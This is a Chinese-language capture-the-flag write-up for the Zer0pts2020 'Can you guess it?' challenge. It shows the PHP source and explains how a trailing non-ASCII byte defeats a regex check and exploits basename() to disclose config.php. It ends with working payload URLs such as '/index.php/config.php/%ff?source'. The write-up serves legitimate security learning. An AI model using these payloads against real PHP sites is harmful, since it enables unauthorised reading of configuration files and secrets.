BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

题目


后台PHP源码：

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

这题有两种解题方式，第一种看这里

include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

第二种看这里，但是第二种我不会。哈哈哈哈哈哈哈…

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

好了，废话不多说。现在开始解题吧！
首先是需要绕过这个正则表达式：

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))

这里是表示不能以config.php为结尾，不然会被拦下。
所以这里可以在config.php后面再加一个文件名，比如：

• /config.php/index.php
• /config.php/test.php
• /config.php/{随便什么文件名都可以}

接下来获取flag是看这个

highlight_file(basename($_SERVER['PHP_SELF']));

关键点是这个函数basename
basename() 函数返回路径中的文件名部分。但是它有个小问题，它会去掉文件名开头的非ASCII值。比如：

• $url1 = “path/index.php”; // 返回index.php
• $url2 = “path/index.php”.urldecode(’%D1%A7%CF’); // 返回index.php和乱码
• $url3 = urldecode(’%D1%A7%CF%B0flag.php+ '); // 返回flag.php，前面的非acsii被删除
• $url4 = urldecode(’%74%65%73%74%5fflag.php+%D1%A7%CF%B0 '); // 返回flag.php和 后面的非ascii

如图

关于basename函数的bug可以看这里

With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.

所以payload是：

• …/index.php/config.php/%ff?source
• …/index.php/config.php/%a1?source
• …/index.php/config.php/%df?source

上面的payload随便哪一个都可以，主要是保证config.php后面必须是非ascii值就可以了

获取到的Flag：